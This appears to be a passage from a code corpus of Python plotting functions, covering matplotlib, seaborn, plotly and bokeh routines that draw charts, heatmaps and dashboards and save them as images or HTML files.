for i in lwrist]\n y = [i[1] for i in lwrist]\n axis.scatter(x,y)\n axis.set_xlabel('X')\n axis.set_ylabel('Y')\n axis.set_title('Left Wrist Position')\n return fig","def export_figure(idx_row, df_slices_info, path_out):\n _, row = idx_row\n img_name = os.path.splitext(os.path.basename(row['path_image']))[0]\n\n try:\n if img_name not in df_slices_info.index:\n logging.debug('missing image in annotation - \"%s\"', img_name)\n return\n\n img = tl_data.io_imread(row['path_image'])\n segm = tl_data.io_imread(row['path_segm'])\n df = pd.read_csv(os.path.join(row['path_centers']), index_col=0)\n centres = df[['X', 'Y']].values\n\n fig = figure_draw_img_centre_segm(None, img, centres, segm)\n\n row_slice = df_slices_info.loc[img_name]\n fig = figure_draw_annot_csv(fig, img, row_slice)\n\n tl_visu.figure_image_adjustment(fig, img.shape)\n fig.savefig(os.path.join(path_out, img_name + '.png'))\n plt.close(fig)\n except Exception:\n logging.exception('failed for: %s', img_name)","def show_svg(tmp_path = DEFAULT_PATH): \n global show_counter\n file_name = tmp_path + \"show_tmp_file_{}.svg\".format(show_counter)\n plt.savefig(file_name)\n os.system(\"open {}\".format(file_name))\n show_counter += 1\n plt.close()","def create_graphic(X):\n plt.close('all')\n plt.figure(figsize=(12,6))\n sns.set(style='darkgrid', palette='bright')\n for i,j in enumerate(X): \n plt.subplot(2, 3, (i+1))\n plt.text(X[j], 0, X[j], color='black')\n plt.axvline(x=X[j], linestyle='--', c='red')\n sns.distplot(data[j].dropna(), bins=30, kde=False)\n plt.tight_layout()\n img = io.BytesIO()\n plt.savefig(img, format='png')\n img.seek(0)\n graph_url = base64.b64encode(img.getvalue()).decode()\n graph = 'data:image/png;base64,{}'.format(graph_url)\n return graph","def export_plot(plot, wight=600, height=400, path='./results/reports/', file_format='.svg'):\n name = ''.join(random.choice(ascii_lowercase) for _ in range(10)) + file_format\n pio.write_image(plot, path+name, width=wight, height=height)","def index_figures(): \n # extract data needed for visuals\n # TODO: Below is an example - modify to extract data for your own visuals\n genre_counts = df.groupby('genre').count()['message']\n genre_names = list(genre_counts.index)\n \n # create visuals\n # TODO: Below is an example - modify to create your own visuals\n graph_one = []\n graph_one.append(\n go.Bar(\n x = genre_names,\n y = genre_counts\n )\n ) \n layout_one = dict(title = 'Distribution of Message Genres',\n yaxis = dict(title = 'Count'),\n xaxis = dict(title = 'Genre')\n )\n \n category_values = df.iloc[:,4:].sum().sort_values(ascending=False).head()\n category_names = list(category_values.index)\n \n graph_two = []\n graph_two.append(\n go.Pie(\n values=category_values,\n labels=category_names\n )\n )\n layout_two = dict(title = 'Top Categories',\n yaxis = dict(title = 'Count'),\n xaxis = dict(title = 'Category')\n )\n \n graphs = []\n graphs.append(dict(data=graph_one, layout=layout_one))\n graphs.append(dict(data=graph_two, layout=layout_two))\n return graphs","def create_scatter(\n df,\n x_value=\"cir\",\n y_value=\"LBGI\",\n color_value=\"\",\n image_type=\"png\",\n analysis_name=\"icgm_sensitivity_analysis\",\n view_fig=False,\n save_fig=True,\n title=\"\",\n fig_name=\"\",\n save_fig_path=os.path.join(\"..\", \"..\", \"reports\", \"figures\"),\n):\n\n # Use this if there is a color value passed in\n if color_value != \"\":\n df = df.sort_values(by=color_value, ascending=True)\n fig = px.scatter(\n data_frame=df,\n x=x_value,\n y=y_value,\n opacity=0.3,\n color=color_value,\n title=title,\n color_continuous_scale=px.colors.sequential.Viridis,\n )\n fig.update_traces(marker=dict(size=3))\n\n # Otherwise just create the scatter plot without a color value\n else:\n fig = px.scatter(data_frame=df, x=x_value, y=y_value, opacity=0.3, title=title)\n fig.update_traces(marker=dict(size=3))\n\n # Save and/or view the figure\n save_view_fig(\n fig,\n image_type,\n fig_name,\n analysis_name,\n view_fig,\n save_fig,\n save_fig_path,\n )\n\n return","def define_figure(width, height, dataframe, hover, itype):\n\n # Mapper colors\n # I left here the ones just in case\n colors_auld = ['#800000', '#860000', '#8c0000', '#930000', '#990000', '#9f0000', '#a60000', '#ac0000', '#b20000', '#b90000', '#bf0000', '#c50000', '#cc0000', '#d20000', '#d80000', '#df0000', '#e50000', '#eb0000', '#f20000', '#f80000', '#ff0000', '#ff0700', '#ff0e00', '#ff1500', '#ff1c00', '#ff2300', '#ff2a00', '#ff3100', '#ff3800', '#ff3f00', '#ff4600', '#ff4d00', '#ff5400', '#ff5b00', '#ff6200', '#ff6900', '#ff7000', '#ff7700', '#ff7e00', '#ff8500', '#ff8c00', '#ff9100', '#ff9700', '#ff9d00', '#ffa300', '#ffa800', '#ffae00', '#ffb400', '#ffba00', '#ffbf00', '#ffc500', '#ffcb00', '#ffd100', '#ffd600', '#ffdc00', '#ffe200', '#ffe800', '#ffed00', '#fff300', '#fff900', '#ffff00', '#f2ff00', '#e5ff00', '#d8ff00', '#ccff00', '#bfff00', '#b2ff00', '#a5ff00', '#99ff00', '#8cff00', '#7fff00', '#72ff00', '#66ff00', '#59ff00', '#4cff00', '#3fff00', '#33ff00', '#26ff00', '#19ff00', '#0cff00', '#00ff00', '#0afc0a', '#15fa15', '#1ff81f', '#2af62a', '#34f434', '#3ff13f', '#49ef49', '#54ed54', '#5eeb5e', '#69e969', '#74e674', '#7ee47e', '#89e289', '#93e093', '#9ede9e', '#a8dba8', '#b3d9b3', '#bdd7bd', '#c8d5c8', '#d3d3d3']\n colors_ylorrd = ['#800026', '#850026', '#8a0026', '#8f0026', '#940026', '#990026', '#9e0026', '#a30026', '#a80026', '#ad0026', '#b20026', '#b70026', '#bd0026', '#c00225', '#c30424', '#c60623', '#c90822', '#cc0a21', '#d00d21', '#d30f20', '#d6111f', '#d9131e', '#dc151d', '#df171c', '#e31a1c', '#e51e1d', '#e7221e', '#e9271f', '#eb2b20', '#ed2f21', '#ef3423', '#f13824', '#f33c25', '#f54126', '#f74527', '#f94928', '#fc4e2a', '#fc532b', '#fc582d', '#fc5d2e', '#fc6330', '#fc6831', '#fc6d33', '#fc7234', '#fc7836', '#fc7d37', '#fc8239', '#fc873a', '#fd8d3c', '#fd903d', '#fd933e', '#fd9640', '#fd9941', '#fd9c42', '#fd9f44', '#fda245', '#fda546', '#fda848', '#fdab49', '#fdae4a', '#feb24c', '#feb54f', '#feb853', '#febb56', '#febf5a', '#fec25d', '#fec561', '#fec864', '#fecc68', '#fecf6b', '#fed26f', '#fed572', '#fed976', '#feda79', '#fedc7d', '#fede80', '#fedf84', '#fee187', '#fee38b', '#fee48e', '#fee692', '#fee895', '#fee999', '#feeb9c', '#ffeda0', '#ffeea3', '#fff0a7', '#fff1ab', '#fff3ae', '#fff4b2', '#fff6b6', '#fff7b9', '#fff9bd', '#fffac1', '#fffcc4', '#fffdc8', '#ffffcc']\n colors_grorrd = ['#800026', '#850026', '#8a0026', '#8f0026', '#940026', '#990026', '#9e0026', '#a30026', '#a80026', '#ad0026', '#b20026', '#b70026', '#bd0026', '#c00225', '#c30424', '#c60623', '#c90822', '#cc0a21', '#d00d21', '#d30f20', '#d6111f', '#d9131e', '#dc151d', '#df171c', '#e31a1c', '#e51e1d', '#e7221e', '#e9271f', '#eb2b20', '#ed2f21', '#ef3423', '#f13824', '#f33c25', '#f54126', '#f74527', '#f94928', '#fc4e2a', '#fc532b', '#fc582d', '#fc5d2e', '#fc6330', '#fc6831', '#fc6d33', '#fc7234', '#fc7836', '#fc7d37', '#fc8239', '#fc873a', '#fd8d3c', '#fd903d', '#fd933e', '#fd9640', '#fd9941', '#fd9c42', '#fd9f44', '#fda245', '#fda546', '#fda848', '#fdab49', '#fdae4a', '#feb24c', '#feb54f', '#feb853', '#febb56', '#febf5a', '#fec25d', '#fec561', '#fec864', '#fecc68', '#fecf6b', '#fed26f', '#fed572', '#fed976', '#feda79', '#fedc7d', '#fede80', '#fedf84', '#fee187', '#fee38b', '#fee48e', '#fee692', '#fee895', '#fee999', '#feeb9c', '#ffeda0', '#fbeaa4', '#f7e8a8', '#f4e6ac', '#f0e4b1', '#ece2b5', '#e9e0b9', '#e5ddbd', '#e1dbc2', '#ded9c6', '#dad7ca', '#d6d5ce', '#d3d3d3']\n colors_inferno = ['#000003', '#000004', '#000006', '#010007', '#010109', '#01010B', '#02010E', '#020210', '#030212', '#040314', '#040316', '#050418', '#06041B', '#07051D', '#08061F', '#090621', '#0A0723', '#0B0726', '#0D0828', '#0E082A', '#0F092D', '#10092F', '#120A32', '#130A34', '#140B36', '#160B39', '#170B3B', '#190B3E', '#1A0B40', '#1C0C43', '#1D0C45', '#1F0C47', '#200C4A', '#220B4C', '#240B4E', '#260B50', '#270B52', '#290B54', '#2B0A56', '#2D0A58', '#2E0A5A', '#300A5C', '#32095D', '#34095F', '#350960', '#370961', '#390962', '#3B0964', '#3C0965', '#3E0966', '#400966', '#410967', '#430A68', '#450A69', '#460A69', '#480B6A', '#4A0B6A', '#4B0C6B', '#4D0C6B', '#4F0D6C', '#500D6C', '#520E6C', '#530E6D', '#550F6D', '#570F6D', '#58106D', '#5A116D', '#5B116E', '#5D126E', '#5F126E', '#60136E', '#62146E', '#63146E', '#65156E', '#66156E', '#68166E', '#6A176E', '#6B176E', '#6D186E', '#6E186E', '#70196E', '#72196D', '#731A6D', '#751B6D', '#761B6D', '#781C6D', '#7A1C6D', '#7B1D6C', '#7D1D6C', '#7E1E6C', '#801F6B', '#811F6B', '#83206B', '#85206A', '#86216A', '#88216A', '#892269', '#8B2269', '#8D2369', '#8E2468', '#902468', '#912567', '#932567', '#952666', '#962666', '#982765', '#992864', '#9B2864', '#9C2963', '#9E2963', '#A02A62', '#A12B61', '#A32B61', '#A42C60', '#A62C5F', '#A72D5F', '#A92E5E', '#AB2E5D', '#AC2F5C', '#AE305B', '#AF315B', '#B1315A', '#B23259', '#B43358', '#B53357', '#B73456', '#B83556', '#BA3655', '#BB3754', '#BD3753', '#BE3852', '#BF3951', '#C13A50', '#C23B4F', '#C43C4E', '#C53D4D', '#C73E4C', '#C83E4B', '#C93F4A', '#CB4049', '#CC4148', '#CD4247', '#CF4446', '#D04544', '#D14643', '#D24742', '#D44841', '#D54940', '#D64A3F', '#D74B3E', '#D94D3D', '#DA4E3B', '#DB4F3A', '#DC5039', '#DD5238', '#DE5337', '#DF5436', '#E05634', '#E25733', '#E35832', '#E45A31', '#E55B30', '#E65C2E', '#E65E2D', '#E75F2C', '#E8612B', '#E9622A', '#EA6428', '#EB6527', '#EC6726', '#ED6825', '#ED6A23', '#EE6C22', '#EF6D21', '#F06F1F', '#F0701E', '#F1721D', '#F2741C', '#F2751A', '#F37719', '#F37918', '#F47A16', '#F57C15', '#F57E14', '#F68012', '#F68111', '#F78310', '#F7850E', '#F8870D', '#F8880C', '#F88A0B', '#F98C09', '#F98E08', '#F99008', '#FA9107', '#FA9306', '#FA9506', '#FA9706', '#FB9906', '#FB9B06', '#FB9D06', '#FB9E07', '#FBA007', '#FBA208', '#FBA40A', '#FBA60B', '#FBA80D', '#FBAA0E', '#FBAC10', '#FBAE12', '#FBB014', '#FBB116', '#FBB318', '#FBB51A', '#FBB71C', '#FBB91E', '#FABB21', '#FABD23', '#FABF25', '#FAC128', '#F9C32A', '#F9C52C', '#F9C72F', '#F8C931', '#F8CB34', '#F8CD37', '#F7CF3A', '#F7D13C', '#F6D33F', '#F6D542', '#F5D745', '#F5D948', '#F4DB4B', '#F4DC4F', '#F3DE52', '#F3E056', '#F3E259', '#F2E45D', '#F2E660', '#F1E864', '#F1E968', '#F1EB6C', '#F1ED70', '#F1EE74', '#F1F079', '#F1F27D', '#F2F381', '#F2F485', '#F3F689', '#F4F78D', '#F5F891', '#F6FA95', '#F7FB99', '#F9FC9D', '#FAFDA0', '#FCFEA4']\n colors_magma = ['#000003', '#000004', '#000006', '#010007', '#010109', '#01010B', '#02020D', '#02020F', '#030311', '#040313', '#040415', '#050417', '#060519', '#07051B', '#08061D', '#09071F', '#0A0722', '#0B0824', '#0C0926', '#0D0A28', '#0E0A2A', '#0F0B2C', '#100C2F', '#110C31', '#120D33', '#140D35', '#150E38', '#160E3A', '#170F3C', '#180F3F', '#1A1041', '#1B1044', '#1C1046', '#1E1049', '#1F114B', '#20114D', '#221150', '#231152', '#251155', '#261157', '#281159', '#2A115C', '#2B115E', '#2D1060', '#2F1062', '#301065', '#321067', '#341068', '#350F6A', '#370F6C', '#390F6E', '#3B0F6F', '#3C0F71', '#3E0F72', '#400F73', '#420F74', '#430F75', '#450F76', '#470F77', '#481078', '#4A1079', '#4B1079', '#4D117A', '#4F117B', '#50127B', '#52127C', '#53137C', '#55137D', '#57147D', '#58157E', '#5A157E', '#5B167E', '#5D177E', '#5E177F', '#60187F', '#61187F', '#63197F', '#651A80', '#661A80', '#681B80', '#691C80', '#6B1C80', '#6C1D80', '#6E1E81', '#6F1E81', '#711F81', '#731F81', '#742081', '#762181', '#772181', '#792281', '#7A2281', '#7C2381', '#7E2481', '#7F2481', '#812581', '#822581', '#842681', '#852681', '#872781', '#892881', '#8A2881', '#8C2980', '#8D2980', '#8F2A80', '#912A80', '#922B80', '#942B80', '#952C80', '#972C7F', '#992D7F', '#9A2D7F', '#9C2E7F', '#9E2E7E', '#9F2F7E', '#A12F7E', '#A3307E', '#A4307D', '#A6317D', '#A7317D', '#A9327C', '#AB337C', '#AC337B', '#AE347B', '#B0347B', '#B1357A', '#B3357A', '#B53679', '#B63679', '#B83778', '#B93778', '#BB3877', '#BD3977', '#BE3976', '#C03A75', '#C23A75', '#C33B74', '#C53C74', '#C63C73', '#C83D72', '#CA3E72', '#CB3E71', '#CD3F70', '#CE4070', '#D0416F', '#D1426E', '#D3426D', '#D4436D', '#D6446C', '#D7456B', '#D9466A', '#DA4769', '#DC4869', '#DD4968', '#DE4A67', '#E04B66', '#E14C66', '#E24D65', '#E44E64', '#E55063', '#E65162', '#E75262', '#E85461', '#EA5560', '#EB5660', '#EC585F', '#ED595F', '#EE5B5E', '#EE5D5D', '#EF5E5D', '#F0605D', '#F1615C', '#F2635C', '#F3655C', '#F3675B', '#F4685B', '#F56A5B', '#F56C5B', '#F66E5B', '#F6705B', '#F7715B', '#F7735C', '#F8755C', '#F8775C', '#F9795C', '#F97B5D', '#F97D5D', '#FA7F5E', '#FA805E', '#FA825F', '#FB8460', '#FB8660', '#FB8861', '#FB8A62', '#FC8C63', '#FC8E63', '#FC9064', '#FC9265', '#FC9366', '#FD9567', '#FD9768', '#FD9969', '#FD9B6A', '#FD9D6B', '#FD9F6C', '#FDA16E', '#FDA26F', '#FDA470', '#FEA671', '#FEA873', '#FEAA74', '#FEAC75', '#FEAE76', '#FEAF78', '#FEB179', '#FEB37B', '#FEB57C', '#FEB77D', '#FEB97F', '#FEBB80', '#FEBC82', '#FEBE83', '#FEC085', '#FEC286', '#FEC488', '#FEC689', '#FEC78B', '#FEC98D', '#FECB8E', '#FDCD90', '#FDCF92', '#FDD193', '#FDD295', '#FDD497', '#FDD698', '#FDD89A', '#FDDA9C', '#FDDC9D', '#FDDD9F', '#FDDFA1', '#FDE1A3', '#FCE3A5', '#FCE5A6', '#FCE6A8', '#FCE8AA', '#FCEAAC', '#FCECAE', '#FCEEB0', '#FCF0B1', '#FCF1B3', '#FCF3B5', '#FCF5B7', '#FBF7B9', '#FBF9BB', '#FBFABD', '#FBFCBF']\n colors_ylgnbl = ['#081d58', '#0a1e5d', '#0c2062', '#0f2267', '#11246c', '#142671', '#162876', '#182a7b', '#1b2c80', '#1d2e85', '#20308a', '#22328f', '#253494', '#243795', '#243b97', '#243e99', '#24429a', '#23459c', '#23499e', '#234c9f', '#2350a1', '#2253a3', '#2257a4', '#225aa6', '#225ea8', '#2162aa', '#2166ac', '#206aae', '#206fb0', '#1f73b2', '#1f77b4', '#1f7bb6', '#1e80b8', '#1e84ba', '#1d88bc', '#1d8cbe', '#1d91c0', '#2094c0', '#2397c0', '#269ac1', '#299dc1', '#2ca0c1', '#2fa3c2', '#32a6c2', '#35a9c2', '#38acc3', '#3bafc3', '#3eb2c3', '#41b6c4', '#46b7c3', '#4bb9c2', '#50bbc1', '#55bdc1', '#5abfc0', '#60c1bf', '#65c3be', '#6ac5be', '#6fc7bd', '#74c9bc', '#79cbbb', '#7fcdbb', '#85cfba', '#8bd1b9', '#91d4b9', '#97d6b8', '#9dd8b8', '#a3dbb7', '#a9ddb6', '#afdfb6', '#b5e2b5', '#bbe4b5', '#c1e6b4', '#c7e9b4', '#caeab3', '#cdebb3', '#d0ecb3', '#d3eeb3', '#d6efb2', '#daf0b2', '#ddf1b2', '#e0f3b2', '#e3f4b1', '#e6f5b1', '#e9f6b1', '#edf8b1', '#eef8b4', '#f0f9b7', '#f1f9bb', '#f3fabe', '#f4fac1', '#f6fbc5', '#f7fcc8', '#f9fccb', '#fafdcf', '#fcfdd2', '#fdfed5', '#ffffd9']\n colors_rdylbl = ['#a50026', '#a60529', '#a80a2c', '#aa0f2f', '#ac1432', '#ae1a35', '#b01f38', '#b1243b', '#b3293e', '#b52e42', '#b73445', '#b93948', '#bb3e4b', '#bc434e', '#be4851', '#c04e54', '#c25357', '#c4585b', '#c65d5e', '#c76261', '#c96864', '#cb6d67', '#cd726a', '#cf776d', '#d17c70', '#d28274', '#d48777', '#d68c7a', '#d8917d', '#da9680', '#dc9c83', '#dda186', '#dfa689', '#e1ab8d', '#e3b090', '#e5b693', '#e7bb96', '#e8c099', '#eac59c', '#ecca9f', '#eed0a2', '#f0d5a6', '#f2daa9', '#f3dfac', '#f5e4af', '#f7eab2', '#f9efb5', '#fbf4b8', '#fdf9bb', '#ffffbf', '#fafabe', '#f6f6bd', '#f2f2bc', '#eeeebb', '#e9eaba', '#e5e6b9', '#e1e2b9', '#dddeb8', '#d9dab7', '#d4d5b6', '#d0d1b5', '#cccdb4', '#c8c9b3', '#c4c5b3', '#bfc1b2', '#bbbdb1', '#b7b9b0', '#b3b5af', '#afb1ae', '#aaacad', '#a6a8ad', '#a2a4ac', '#9ea0ab', '#9a9caa', '#9598a9', '#9194a8', '#8d90a7', '#898ca7', '#8588a6', '#8083a5', '#7c7fa4', '#787ba3', '#7477a2', '#7073a1', '#6b6fa1', '#676ba0', '#63679f', '#5f639e', '#5b5f9d', '#565a9c', '#52569b', '#4e529b', '#4a4e9a', '#464a99', '#414698', '#3d4297', '#393e96', '#353a95', '#313695']\n colors = colors_grorrd\n colors.reverse()\n mapper = LinearColorMapper(palette=colors, low=0, high=100)\n\n #Bokeh figure\n p = figure(\n plot_width= width,\n plot_height=height,\n #title=\"Example freq\",\n y_range=list(dataframe.Id.drop_duplicates()),\n x_range=list(dataframe.Position.drop_duplicates()),\n tools=[\"hover\",\"tap\",\"save\",\"reset\",\"wheel_zoom\"], \n x_axis_location=\"above\",\n active_drag=None,\n toolbar_location=\"right\",\n toolbar_sticky = False,\n min_border_top = 200,#leave some space for x-axis artificial labels\n min_border_bottom = 0,\n )\n\n # Create rectangle for heatmap\n mysource = ColumnDataSource(dataframe)\n p.rect(\n y=\"Id\", \n x=\"Position\",\n width=1, \n height=1, \n source=mysource,\n line_color=\"white\", \n fill_color=transform(itype, mapper),\n\n # set visual properties for selected glyphs\n selection_line_color=\"black\",\n selection_fill_color=transform(itype, mapper),\n # set visual properties for non-selected glyphs\n nonselection_fill_color=transform(itype, mapper),\n nonselection_fill_alpha=1,\n nonselection_line_alpha=1,\n nonselection_line_color=\"white\"\n )\n\n #Very poor way of creating X-axis labels. Necessary for having linejumps inside the axis labels\n x_cord = 0\n y_cord = len(list(dataframe.Id.drop_duplicates()))+11#Position: 11 spaces above the plot's top border\n foolabel = Label(x=-1,\n y=y_cord,\n text='\\nA: \\nB: \\nC: \\nF: \\n\\n\\nA: \\nB: \\nC: \\nF: \\n',\n render_mode='css', \n border_line_alpha=1.0,\n text_font_size = \"10pt\",\n background_fill_color = \"#FFFFFF\")\n p.add_layout(foolabel)\n\n #Fore every unique position in the set, add a label in axis\n for position in list(dataframe.Position.drop_duplicates()):\n position = position.replace(\"Ligand\",\"Lig\\n\\n\\n\\n\\n\")\n foolabel = Label(x=x_cord,\n y=y_cord,\n text=position,\n render_mode='css', \n border_line_alpha=1.0,\n background_fill_color = \"#FFFFFF\",\n text_font_size = \"10pt\")\n p.add_layout(foolabel)\n x_cord +=1\n\n # Setting axis\n p.axis.axis_line_color = None\n p.axis.major_tick_line_color = None\n p.xaxis.major_label_text_font_size = \"10pt\"\n p.yaxis.major_label_text_font_size = \"10pt\"\n p.yaxis.visible = False\n p.xaxis.visible = False\n p.axis.major_label_standoff = 0\n p.xaxis.major_label_orientation = 1\n\n # Adding hover\n p.add_tools(hover)\n\n # Needed later\n return(mysource,p)","def render(results, out_file):\n fig, (ax_backlog, ax_merges, ax_open, ax_health) = plt.subplots(\n 4, sharex=True, figsize=(16, 10), dpi=100)\n\n fig.autofmt_xdate()\n plt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%m/%d/%Y'))\n plt.gca().xaxis.set_major_locator(mdates.DayLocator())\n if results.dts:\n render_queue(results, ax_open)\n render_merges(results, ax_merges)\n render_backlog(results, ax_backlog)\n render_health(results, ax_health)\n fig.text(\n 0.1, 0.00,\n 'image: %s, sample: %s' % (\n datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M'),\n results.dts[-1].strftime('%Y-%m-%d %H:%M'),\n ),\n horizontalalignment='left',\n fontsize='x-small',\n color=fresh_color(results.dts[-1]),\n )\n\n plt.savefig(out_file, bbox_inches='tight', format='svg')\n plt.close()","def plot(figure_or_data, show_link=True, link_text='Export to plot.ly',\n validate=True, output_type='file', include_plotlyjs=True,\n filename='temp-plot.html', auto_open=True, image=None,\n image_filename='plot_image', image_width=800, image_height=600):\n if output_type not in ['div', 'file']:\n raise ValueError(\n \"`output_type` argument must be 'div' or 'file'. \"\n \"You supplied `\" + output_type + \"``\")\n if not filename.endswith('.html') and output_type == 'file':\n warnings.warn(\n \"Your filename `\" + filename + \"` didn't end with .html. \"\n \"Adding .html to the end of your file.\")\n filename += '.html'\n\n config = {}\n config['showLink'] = show_link\n config['linkText'] = link_text\n\n plot_html, plotdivid, width, height = _plot_html(\n figure_or_data, config, validate,\n '100%', '100%', global_requirejs=False)\n\n resize_script = ''\n if width == '100%' or height == '100%':\n resize_script = (\n ''\n '<script type=\"text/javascript\">'\n 'window.removeEventListener(\"resize\");'\n 'window.addEventListener(\"resize\", function(){{'\n 'Plotly.Plots.resize(document.getElementById(\"{id}\"));}});'\n '</script>'\n ).format(id=plotdivid)\n\n if output_type == 'file':\n with open(filename, 'w') as f:\n if include_plotlyjs:\n plotly_js_script = ''.join([\n '<script type=\"text/javascript\">',\n get_plotlyjs(),\n '</script>',\n ])\n else:\n plotly_js_script = ''\n\n if image:\n if image not in __IMAGE_FORMATS:\n raise ValueError('The image parameter must be one of the '\n 'following: {}'.format(__IMAGE_FORMATS))\n # if the check passes then download script is injected.\n # write the download script:\n script = get_image_download_script('plot')\n script = script.format(format=image,\n width=image_width,\n height=image_height,\n filename=image_filename,\n plot_id=plotdivid)\n else:\n script = ''\n\n f.write(''.join([\n '<html>',\n '<head><meta charset=\"utf-8\" /></head>',\n '<body>',\n plotly_js_script,\n plot_html,\n resize_script,\n script,\n '</body>',\n '</html>']))\n\n url = 'file://' + os.path.abspath(filename)\n if auto_open:\n webbrowser.open(url)\n\n return url\n\n elif output_type == 'div':\n if include_plotlyjs:\n return ''.join([\n '<div>',\n '<script type=\"text/javascript\">',\n get_plotlyjs(),\n '</script>',\n plot_html,\n '</div>'\n ])\n else:\n return plot_html","def plot_data(df, title=\"normalized Stock prices\", ylabel=\"Price\", xlabel=\"Date\" ):\n plt.clf()\n ax = df.plot(title=title, fontsize=12)\n ax.set_xlabel(xlabel)\n ax.set_ylabel(ylabel)\n plt.savefig('files/output/'+title+'.png')","def plotlys(df, x, \n y = None, \n kind = None,\n \n group = None,\n \n #Scatter\n size = None,\n colour_reverse = False,\n \n #Bar\n stacked = False,\n annotate = False, \n ordered = True,\n \n #Layout\n title = \"\", xtitle = None, ytitle = None, subtitle = None, \n height = 500, width = 600, tickangle = 0\n ):\n import plotly\n import plotly.graph_objs as go\n import numpy as np\n \n \n # plotly.init_notebook_mode(connected=False)\n\n \n \n try:\n assert kind in ['Hist', 'Bar', 'Scat']\n except AssertionError:\n print('Select one of Hist, Bar, Scat Graph Type')\n return(None)\n \n ##Variable & Layout Setup\n colours = ['midnightblue','darkmagenta', 'seagreen', 'firebrick','#f4bc61', \n '#546886', '#4ba4c6','mediumseagreen','lightcoral'] \n \n colourscale = [[0, '#f54411'], [0.5, '#faf8ee'], [1.0, '#00ac70']]\n if(colour_reverse == True):\n colourscale = [[0, '#00ac70'], [0.5, '#faf8ee'], [1.0, '#f54411']]\n \n if((title == \"\") & (y is not None)):\n title = \"{} vs {}\".format(x.replace('_', ' ').title(), \n y.replace('_', ' ').title())\n elif((title == \"\")):\n title = \"{} Distribution\".format(x.replace('_', ' ').title())\n \n if(xtitle is None):\n xtitle = x.replace('_', ' ').title() \n \n if((ytitle is None) & (y is not None)):\n ytitle = y.replace('_', ' ').title() \n elif(ytitle is None):\n ytitle = 'Volume'\n \n layout = plotly_layout(title, xtitle, ytitle, subtitle,\n height, width, tickangle)\n\n \n \n ##Histogram\n if(kind == 'Hist'):\n \n if(annotate == True):\n print('Annotations not available for Histograms')\n \n if(group is None):\n base = [go.Histogram(\n x = df[x],\n marker = dict(\n color='midnightblue',\n line=dict(\n color='white',\n width=1\n ))) \n ]\n else:\n coloursIdx = dict(zip(df[group].unique(), colours))\n \n base = [go.Histogram(\n opacity = 0.5,\n x = df[df[group]==val][x],\n name = val, \n marker = dict(color=coloursIdx.get(val),\n line=dict(\n color='white',\n width=1\n )\n )) for val in df[group].unique()\n ]\n layout.update({'barmode':'overlay'})\n \n \n ##Bar\n elif(kind == 'Bar'):\n if(group is None):\n if(annotate == True):\n annotate = 'auto'\n t = np.round(df[y])\n else:\n annotate = 'none'\n t = None\n \n if(ordered == True):\n df.sort_values(by=y,\n axis=0, \n ascending=False, \n inplace = True)\n \n base = [\n go.Bar(\n x = df[x],\n y = df[y],\n marker = dict(\n color='midnightblue',\n line=dict(\n color='white',\n width=1,\n )),\n text = t,\n textposition = annotate,\n textfont=dict(\n family='Arial, sans-serif',\n size=14,\n color='darkgrey'\n )\n )\n ]\n else:\n \n if(annotate == True):\n annotate = 'auto'\n else:\n annotate = 'none'\n \n def annotation(annotate, val):\n if(annotate == 'auto'):\n t = np.round(df[df[group]==val][y])\n else:\n t = None\n return t\n \n if(stacked == True):\n layout.update({'barmode':'stack'})\n \n coloursIdx = dict(zip(df[group].unique(), colours))\n #cols = df[group].map(coloursIdx)\n \n if(ordered == True):\n df.sort_values(by=y,\n axis=0, \n ascending=False, \n inplace = True)\n \n base = [\n go.Bar(\n x=df[df[group]==val][x],\n y = df[df[group]==val][y],\n name = val,\n marker = dict(color = coloursIdx.get(val)),\n text = annotation(annotate, val),\n textposition = annotate,\n textfont=dict(\n family='Arial, sans-serif',\n size=14,\n color='darkgrey'\n )\n \n \n ) for val in df[group].unique()\n ] \n \n \n ##Scatter\n elif(kind == 'Scat'):\n \n if(annotate == True):\n print('Annotations not available for Scatter Plots')\n \n if(group is None):\n if(size is None):\n \n base = [\n go.Scatter(\n opacity = 0.75,\n x = df[x],\n y = df[y],\n marker=dict(\n color='midnightblue',\n line=dict(\n color='white',\n width=1,\n ),\n size = 16),\n mode = 'markers'\n ) \n ]\n \n else: \n base = [\n go.Scatter(\n x = df[x],\n y = df[y],\n marker=dict(\n color='midnightblue',\n line=dict(\n color='white',\n width=1,\n ),\n size = df[size],\n sizeref=2.*np.max(df[size])/(10.**2),\n sizemin=10\n ),\n mode = 'markers'\n ) \n ]\n \n else:\n if(size is not None):\n if(df[group].dtype == np.float64 or df[group].dtype == np.int64):\n\n base = [\n go.Scatter(\n x = df[x],\n y = df[y],\n text = df[group],\n marker=dict(\n color=df[group],\n colorbar=dict(\n title=group.replace('_', ' ').title()\n ),\n colorscale = colourscale,\n size = df[size],\n sizeref=2.*np.max(df[size])/(10.**2),\n sizemin=10\n ),\n mode = 'markers'\n ) \n ]\n\n else:\n\n coloursIdx = dict(zip(df[group].unique(), colours))\n\n base = [\n go.Scatter(\n x = df[df[group]==val][x],\n y = df[df[group]==val][y],\n name = val,\n marker = dict(size = df[df[group]==val][size],\n sizeref=2.*np.max(df[size])/(10.**2),\n sizemin=10,\n color = coloursIdx.get(val)),\n mode = 'markers'\n ) for val in df[group].unique()\n\n ]\n\n else:\n if(df[group].dtype == np.float64 or df[group].dtype == np.int64):\n\n base = [\n go.Scatter(opacity = 0.75,\n x = df[x],\n y = df[y],\n text = df[group],\n marker=dict(\n color=df[group],\n colorbar=dict(\n title=group.replace('_', ' ').title()\n ),\n colorscale = colourscale,\n line=dict(\n color='white',\n width=1,\n ),\n size = 16\n ),\n mode = 'markers'\n ) \n ]\n\n else:\n\n coloursIdx = dict(zip(df[group].unique(), colours))\n\n base = [\n go.Scatter(\n opacity = 0.75,\n x = df[df[group]==val][x],\n y = df[df[group]==val][y],\n name = val,\n marker = dict(size = 16,\n color = coloursIdx.get(val),\n line=dict(\n color='white',\n width=1,\n )),\n mode = 'markers'\n ) for val in df[group].unique()\n\n ]\n \n fig = go.Figure(data = base, layout = layout)\n \n return fig","def bokehplot(self, data, backup_frame):\n data['Total_Cases'] = backup_frame['Global_Cases']\n\n plotted = data.plot_bokeh(title=f'Global Data for Covid-19 '\n f'{self.final_title_sub}',\n figsize=(1000, 750),\n legend='top_left',\n\n xlabel='Dates - '\n 'Formatted (Day/Month)',\n\n ylabel='Number of Cases',\n disable_scientific_axes='y',\n return_html=True,\n show_figure=False)\n\n save_to = f'{self.out_dir}docs/graphics/interactive_plot_for_' \\\n f'{self.final_title_sub}.html'\n print(f'Interactive plot saved to:\\n{save_to}')\n 